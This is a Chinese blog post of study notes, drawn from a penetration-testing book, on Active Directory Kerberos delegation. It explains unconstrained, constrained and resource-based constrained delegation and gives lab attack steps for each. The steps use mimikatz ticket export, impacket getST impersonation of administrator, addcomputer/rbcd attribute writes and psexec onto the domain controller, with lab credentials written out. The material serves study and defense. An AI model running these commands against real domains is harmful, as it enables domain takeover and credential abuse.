本文中的部分图文内容均取自《域渗透攻防指南》,本人仅对感兴趣的内容做了汇总及附注。

导航


0、前言

委派是指将域用户的权限委派给服务账户,使得服务账户能以域用户权限访问域内的其他服务。如下图所示,域用户 xie\test 以 Kerberos 身份验证访问 Web 服务器请求下载文件,但是真正的文件在后台的文件服务器上。于是,Web 服务器的服务账户 websrv 模拟域用户 xie\test,以 Kerberos 协议继续认证到后台文件服务器。后台文件服务器将文件返回给 Web 服务器,Web 服务器再将文件返回给域用户 xie\test 这样就完成了一个委派的流程。

委派是大型网络中经常部署的应用模式,给多跳认证带来了很大的便利,与此同时也带来了很大的安全隐患。

域内委派主要有三种类型: 非约束性委派(Unconstrained Delegation,UD)、约束性委派(Constrained Delegation,CD)、基于资源的约束性委派(Resource Based Constrained Delegation,RBCD)。

接下来,就来看看这三种约束委派分别是如何进行利用的。

1、实验环境

  • 域名 - skylark.com
  • 主域控 - DC2012 - Windows 2012 R2 Standard - 192.168.56.50
  • 备域控 - DC2013 - Windows 2012 R2 Standard - 192.168.56.51
  • 域主机 - Win10 - Windows 10 专业版(22H2) - 192.168.56.14
  • 域主机 - Win7 - Windows 7 旗舰版(SPK1) - 192.168.56.13
  • Kali - 192.168.56.20
  • 普通域用户 - admin【注:虽然名称是 admin,但为了实验已将其从域管理组中踢出,此时它已经是一个普通域用户了。】
  • 域管理员用户 - admin1

2、非约束性委派

工作原理

下面分析一下上述每个步骤的含义:

  1. 用户通过发送一个 KRB_AS_REQ 消息,向 KDC 的 AS 进行身份验证,请求一个可转发的 TGT1。
  2. KDC 在 KRB_AS_REP 消息中返回了一个 可转发的 TGT1
  3. 用户根据上一步获取的可转发的 TGT1 请求另一个可转发的 TGT2,这一步是通过 KRB_TGS_REQ 消息请求的。
  4. KDC 在 KRB_TGS_REP 消息中为用户返回 可转发的 TGT2
  5. 用户使用步骤 2 中返回的 TGT1 向 KDC 请求服务 1 的 ST。
  6. KDC 的 TGS 服务在 KRB_TGS_REP 消息中返回给用户服务 1 的 ST。
  7. 用户发送 KRB_AP_REQ 消息请求服务 1,KRB_AP_REQ 消息中包含 TGT1 和服务 1 的 ST、TGT2、TGT2 的 SessionKey。【注:只要有用户访问服务 1(此时不管有没有服务 2),那么用户就会将自己的 TGT 票据和访问服务 1 的 ST 票据均通过 KRB_AP_REQ 消息发送到服务 1,服务 1 又会将其缓存在内存中。】
  8. 服务 1 以用户的名义向 KDC 的 TGS 发送 KRB_TGS_REQ,请求服务 2 的 ST。请求中包含用户发过来的 TGT2。
  9. KDC 的 TGS 服务在 KRB_TGS_REP 消息中返回服务 2 的 ST 给服务 1,以及服务 1 可以使用的 SessionKey。ST 将客户端标识为用户,而不是服务 1
  10. 服务 1 以用户的名义向服务 2 发起 KRB_AP_RE 请求。
  11. 服务 2 响应服务 1 的 KRB_AP_RE 请求。
  12. 有了步骤 11 的这个响应,服务 1 就可以响应步骤 7 中用户的 KRB_AP_REQ。
  13. 这里的 TGT 转发委派机制没有限制服务 1 使用 TGT2 来申请哪个服务,所以服务 1 可以以用户的名义向 KDC 申请任何其他服务的 ST。
  14. KDC 返回步骤 13 中请求的 ST。
  15. 服务 1 以用户的名义来请求其他服务。
  16. 服务 N 将像响应用户的请求一样响应服务 1。

从网络攻击者的角度来看,如果攻击者控制了服务 1 , 则攻击者可以诱骗域管理员来访问服务 1,然后攻击者可以在服务 1 机器上获取域管理员的 TGT,从而可以用缓存的 TGT 模拟管理员访问任意服务,包括域控。

注:(1)在上述流程中,TGT1 请求的 ST 用于访问服务 1,TGT2 请求的 ST 用于访问服务 2。(2)可转发的 TGT1 和 TGT2 代表着用户可以将其通过步骤 7 的 KRB_AP_REQ 消息发送到服务 1,供服务 1 使用。(3)步骤 7 是引发被攻击的主要原因。(4)用户机器在整个流程中属于是亲力亲为型,12 个步骤有 8 个步骤需要和用户机器参与。

攻击实验

我们需要完全控制服务 1 的机器(任意域主机)取得其本地管理员或 SYSTEM 权限,然后让用户机器(拥有域管理员权限的主机,如域控)去触发访问服务 1,这样用户机器便会将自己的 TGT 票据和访问服务 1 的 ST 票据传递到服务 1 的缓存中。然后我们便可通过 mimikatz 从内存中导出用户的 TGT 票据。

本实验在 windows 2012 的域控上无法成功,似乎只能在 windows 2008 及以下的机器才能成功。【故此处仅记录操作步骤不附上实验图片】

(1)首先我们已取得了域主机 Win10 的控制权。

(2)接着在域控机器触发对 Win10 主机的访问:net use \\192.168.56.14\

(3)然后在 Win10 主机上运行 mimikatz,并导出其内存中的票据。

.\mimikatz.exe
privilege::debug
sekurlsa::tickets /export
kerberos::ptt *.kirbi

(4)最后就可以直接在 Win10 中打开的 cmd 命令行窗口访问域控主机 C 盘的文件,或将导出的票据传递给 impacket-psexec 使用。【注:最后这一步执行失败,原因是 Windows Server 2012+ 已对非约束性访问做了限制。】

注:照我理解,在步骤 2 执行之后,不必经历步骤 3 便可直接在 Win10 主机发起对域控的访问,因为内存中已存在域管理员的票据了。

3、约束性委派

工作原理

下面分析一下上述每个步骤的含义:

  1. 用户向服务 1 发出请求,用户已通过身份验证,但服务 1 没有用户的授权数据,这通常是由于用户的身份验证是通过 Kerberos 以外(基于表单的 Web 认证、NTLM 认证等) 的其他方式验证的。
  2. 服务 1 已经通过 KDC 进行了身份验证,并获得了 TGT。它通过 S4u2Self 协议代表用户向 KDC 请求访问自身服务 1 的可转发 ST。
  3. KDC 返回给服务 1 访问自身服务 1 的 可转发 ST1,就像是用户使用自己的 TGT 请求的一样,该可转发的 ST1 可能包含用户的授权数据。
  4. 服务 1 可以使用 ST1 中的授权数据来满足用户的请求,然后响应用户。
  5. 用户向服务 1 发出请求,请求访问服务 2 上的资源。
  6. 服务 1 利用 S4u4Proxy 协议以用户的名义向 KDC 请求访问服务 2 的 ST2,该请求中带上了可转发的 ST1
  7. 如果请求中存在 PAC,则 KDC 通过检查 PAC 结构的签名数据来验证 PAC。如果 PAC 有效或不存在,KDC 返回服务 2 的 可转发 ST2,并且存储在 ST2 的 cname 和 creahn 字段中的 客户端标识是用户,而不是服务 1
  8. 服务 1 以用户身份使用可转发 ST2 向服务 2 发起请求。
  9. 服务 2 响应步骤 8 中的请求。
  10. 服务 1 响应步骤 5 中的请求。

从网络攻击的角度来看,如果攻击者控制了服务 1 的账户,并且服务 1 配置了到域控的 CIFS 的约束性委派,则可以利用服务 1 以任意用户权限(包括域管理员)访问域控的 CIFS,即相当于控制了域控。

(1)S4u2Self:当用户以其他方式如 NTLM 认证、基于表单的认证等与 Web 服务进行认证后,无法向 Web 服务器提供请求服务的 ST,因此服务器也无法进一步使用 S4u2Proxy 协议请求访问服务 B。

S4u2Self 协议便是解决该问题的方案,被配置为约束性委派的服务账户能够调用 S4u2Self 协议向 KDC 申请为任意用户请求访问自身的可转发 ST。

注意:虽然 S4u2Self 协议允许服务代表用户向 KDC 请求访问自身服务的 ST,但是此协议扩展不允许服务代表用户向 KDC 请求访问其他服务的 ST。

(2) S4u2Proxy:S4u2Proxy 可以用上一步获得的可转发 ST 以用户的名义请求针对其他指定服务的 ST。S4u2Proxy 使得服务 A 可以使用来自用户 test 的授权,然后以用户 test 的身份向 KDC 请求访问服务 B 的 ST。需要特别说明的是,服务使用 S4u2Proxy 协议代表用户获得针对服务自身 ST 的过程是不需要用户凭据的。

注:(1)服务 1 在整个流程中属于代理型,10 个步骤有 6 个步骤需要服务 1 参与,用户机器只是发起请求然后只管收到最终的响应结果即可。

攻击实验

我们需要拥有一个具有对服务 B 委派的域账户(即图 4-53 中服务 A 的服务账户),然后通过 impacket-getST 代表任意用户请求对服务 B 的访问票据(ST)。此时 impacket-getST 相当于是把攻击机 kali 当做了服务 A,然后再借助 S4u2Self 和 S4u2Proxy 这些协议冒充是委托模拟用户(可以是域管理员用户)向服务 B 发起的访问。【注意:S4u2Self 和 S4u2Proxy 协议都是直接与 KDC 对话来申请的服务票据。】

注:这里的委派账户可以是域用户、也可以是机器账户。

在这个例子中,假设我们已获得服务 A 的服务账户 skylark/admin:'skylark@123'。

(1)委派权限查询

impacket-findDelegation skylark.com/admin:'skylark@123' -dc-ip 192.168.56.50

或 ADExplorer.exe 查询

或域工具“AD 用户和计算机”查询

(2)模拟用户进行 ST 票据申请

impacket-getST -dc-ip 192.168.56.50 -spn cifs/dc2012.skylark.com  skylark.com/admin:'skylark@123' -impersonate administrator

可以看到,我们通过委派账户 admin 成功申请到了 administrator 账户向域控访问的 ST 票据。接下来,便可以使用此票据以 administrator 的身份向域控发起访问。

(3)利用 ST 票据管控服务 B 的机器(即域控)

export KRB5CCNAME=administrator@cifs_dc2012.skylark.com@SKYLARK.COM.ccache

impacket-psexec -k -no-pass administrator@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50

4、基于资源的委派

工作原理

下面分析一下上述每个步骤的含义:

  1. 服务 A 使用自己的服务账户和密码向 KDC 申请一个可转发的 TGT。
  2. 服务 A 利用 S4u2Self 协议代表用户申请一个访问自身的 ST。这一步区别于传统的约束性委派。在 S4u2Self 协议中提到,返回的 ST 可转发的一个条件是服务 A 配置了传统的约束性委派。KDC 会检查服务 A 的 msDS-AllowedToDelegateTo 字段,如果这个字段被赋值了,则 KDC 返回可转发的 ST。但是由于这里是基于资源的约束性委派,是在服务 B 上配置的,服务 B 的 msDS-AllowedToActOnBehalfOfOtherldentity 属性配置了服务 A 的 SID,服务 A 并没有配置 msDS-AllowedToDelegateTo 字段,因此 KDC 返回的 ST 是不可转发 的。
  3. 服务 A 利用 S4u2Proxy 协议以用户的身份向 KDC 请求访问服务 B 的可转发 ST(上一步获得的不可转发 ST 放在请求包的 AddtionTicket 中)。KDC 返回访问服务 B 的 可转发 ST
  4. 服务 A 用上一步获得的可转发 ST 访问服务 B。

注:(1)步骤 1 的作用?(2)虽然图 4-55 和图 4-53 有一些不同,但它的工作流程其实也和图 4-52 是差不多的,区别可能仅仅只是配置委派属性的位置发生了变化(约束性委派是在服务 1 配置,由服务 1 去请求服务 2。基于资源的约束性委派在服务 2 配置,还是由服务 1 去请求服务 2。)、返回 ST1 的可转发属性发生了变化(约束性委派返回的 ST1 是可转发的,基于资源的约束性委派返回的 ST1 是不可转发的)。

攻击实验

我们需要拥有对服务 B 所在机器的机器账户修改的权限(即图 4-55 中服务 B 所在的机器),然后在其属性 msDS-AllowedToActOnBehalfOfOtherldentity 中添加一个可控制的机器账户(即服务 A 对应的服务账户),于是该账户便拥有了对服务 B 的委派权限,接着便可以通过 impacket-getST 代表任意用户请求对服务 B 的访问票据(ST)。此时 impacket-getST 相当于是把攻击机 kali 当做了服务 A,然后再借助 S4u2Self 和 S4u2Proxy 这些协议冒充是委托模拟用户(可以是域管理员用户)向服务 B 发起的访问。【注意:S4u2Self 和 S4u2Proxy 协议都是直接与 KDC 对话来申请的服务票据。】

注:委派账户只能是机器账户,不可以是域用户。

域主机机器账户属性的修改只有 域管理组的成员帮助该机器加域时的那个域账户 才有权修改。因此,基于资源的委派攻击通常需要配合其他攻击进行,例如,强制认证中继攻击中的委派攻击。

在这个例子中,为了演示假设我们已获得了管理组成员 admin1 的凭证 skylark/admin1.:'skylark@123'。

(1)新建一个机器账户(即服务 A 的服务账户)

impacket-addcomputer -dc-ip 192.168.56.50 -computer-name 'bot' -computer-pass 'skylark@123' skylark.com/admin1:skylark@123

(2)在域控机器账户(即服务 B 所在机器的机器账户)的 msDS-AllowedToActOnBehalfOfOtherldentity 属性中添加该机器账户

#(1)添加委派账户
impacket-rbcd skylark.com/admin1:'skylark@123' -dc-ip 192.168.56.50 -action write -delegate-to DC2012$ -delegate-from bot$ #(2)查询委派账户
impacket-rbcd skylark.com/admin1:'skylark@123' -dc-ip 192.168.56.50 -action read -delegate-to DC2012$

或 ADExplorer.exe 查询

(3)模拟用户进行 ST 票据申请

impacket-getST -dc-ip 192.168.56.50 -spn cifs/dc2012.skylark.com  skylark.com/'bot$':'skylark@123' -impersonate administrator

(4)利用 ST 票据管控服务 B 的机器(即域控)

export KRB5CCNAME=administrator@cifs_dc2012.skylark.com@SKYLARK.COM.ccache

impacket-psexec -k -no-pass administrator@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50

5、杂项

  1. 默认情况下,只有计算机账户的属性选项卡中会显示“委派”选项卡,而域用户账户则不会显示。而要让域用户账户也显示“委派”选项卡,则需要为其注册一个 SPN,可使用命令 setspn -A HTTP/webapp.domain.local svc_web,或重新设置某服务的服务启动账户为该域用户。

AD 提权-委派攻击的更多相关文章

  1. iOS冰与火之歌(番外篇) - 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权

    iOS冰与火之歌(番外篇) 基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权 蒸米@阿里移动安全 0x00 序 这段时间最火的漏洞当属阿联酋的人权活动人士被apt攻击所使用 ...

  2. 结合NTLM中继和Kerberos委派攻击AD

    0x00 前言 在上个月我深入演讲了无约束委派之后,本文将讨论一种不同类型的Kerberos委派:基于资源的约束委派.本文的内容基于Elad Shamir的Kerberos研究,并结合我自己的NTLM ...

  3. 滥用DNSAdmins权限进行Active Directory提权

      0x00 前言 除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成.默认情况下,域控制器也是DNS服务器; 大 ...

  4. 使用powershell提权的一些技巧

    原文:http://fuzzysecurity.com/tutorials/16.html 翻译:http://www.myexception.cn/windows/1752546.html http ...

  5. 网站sqlserver提权操作

    在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...

  6. 小白日记23:kali渗透测试之提权(三)--WCE、fgdump、mimikatz

    WCE windows身份认证过程 http://wenku.baidu.com/view/cf2ee127a5e9856a56126017.html #特例在登陆的目标服务器/系统,有一个w摘要安全 ...

  7. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

  8. Potato(邪恶土豆)–windows全版本猥琐提权

    工作原理: Potato利用已知的Windows中的问题,以获得本地权限提升,即NTLM中继(特别是基于HTTP > SMB中继)和NBNS欺骗.使用下面介绍的技术,它有可能为一个非特权用户获得 ...

  9. 震惊!WIN2003存在后门大全,提权成功率高

     从某种意义上说,服务器被攻击是不可避免的,甚至被控制也情有可原.但绝对不能容忍的是,服务器被植入后门,攻击者如入无人之境,而管理者去浑然不觉.本文将对当前比较流行的后门技术进行解析,知己知彼方能杜绝 ...

  10. kali权限提升之配置不当提权与WCE

    kali权限提升之配置不当提权与WCE 1.利用配置不当提权 2.WCE 3.其他提权 一.利用配置不当提权 与漏洞提权相比更常用的方法 在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏 ...

随机推荐

  1. 【开源推荐】AI Interviewer:基于Spring-Alibaba-AI的智能面试官系统(附GitHub实战教程)

    项目背景 作为开发者,你是否经历过: 技术面试时因紧张发挥失常? 刷了1000+LeetCode却不会表达解题思路? 花费上千元购买模拟面试服务? 今天推荐的AI Interviewer开源项目,正是 ...

  2. openGL库环境简单配置

    主要是针对openGL的一些初步的学习,因为openCV主要是处理图像视频,是从现有的得到数据,而openGL好像是从数据进行绘图,学习一下.在<计算机图形学编程>一书中,它把图形编程定性 ...

  3. Unbuntu16搭建Kafka环境总结

    1.安装Kafka 环境说明 OS:Ubuntu 16.04 Zookeeper:zookeeper 3.4.5 Kafka:kafka_2.11-0.11.0.0 jdk:jdk8(Kafka启动需 ...

  4. MySQL 中有哪些锁类型?

    MySQL 中有哪些锁类型? 在 MySQL 中,锁是用于管理并发访问的机制,以保证数据一致性和完整性.MySQL 支持多种类型的锁,按照其粒度和用途可以分为以下几类. 1. 按粒度分类 表锁(Tab ...

  5. 解决MySQL数据库中1045错误[1045 Access denied for user 'root'@'localhost' (using password:YES)]

    数据库连接异常 1045 Access denied for user 'root'@'localhost' (using password:YES) 这种问题的本质是用户密码出现错误 解决方案 1. ...

  6. FirstUI:Deepseek能帮我们做很多事情,而这款开源框架专为开发者设计的开源UI框架,让你的项目加速起飞

    嗨,大家好,我是小华同学,关注我们获得"最新.最全.最优质"开源项目和高效工作学习方法 开发者们总是在寻找能够提高工作效率.简化开发流程的工具.今天,我们要介绍的是一个名为Firs ...

  7. termux添加ll命令

    cd ~ vim .bashrc 添加如下内容 alias ll="ls -l" 保存退出 :wq source .bashrc 参考:https://www.cnblogs.co ...

  8. 历数java虚拟机GC的种种缺点

    Java通过垃圾收集器(Garbage Collection,简称GC)实现自动内存管理,这样可有效减轻Java应用开发人员的负担,也避免了更多内存泄露的风险. 如果你用过C++等需要手动管理内存的语 ...

  9. MySql技术之"虚拟表增加索引"

    一.虚拟表增加索引 创建虚拟表,并且增加SKU索引:INDEX idx_sku (sku) CREATE TEMPORARY TABLE t_sku_analy_temp ( sku VARCHAR( ...

  10. HarmonyOS运动开发:如何绘制运动速度轨迹

    前言 在户外运动应用中,绘制运动速度轨迹不仅可以直观地展示用户的运动路线,还能通过颜色变化反映速度的变化,帮助用户更好地了解自己的运动状态.然而,如何在鸿蒙系统中实现这一功能呢?本文将结合实际开发经验 ...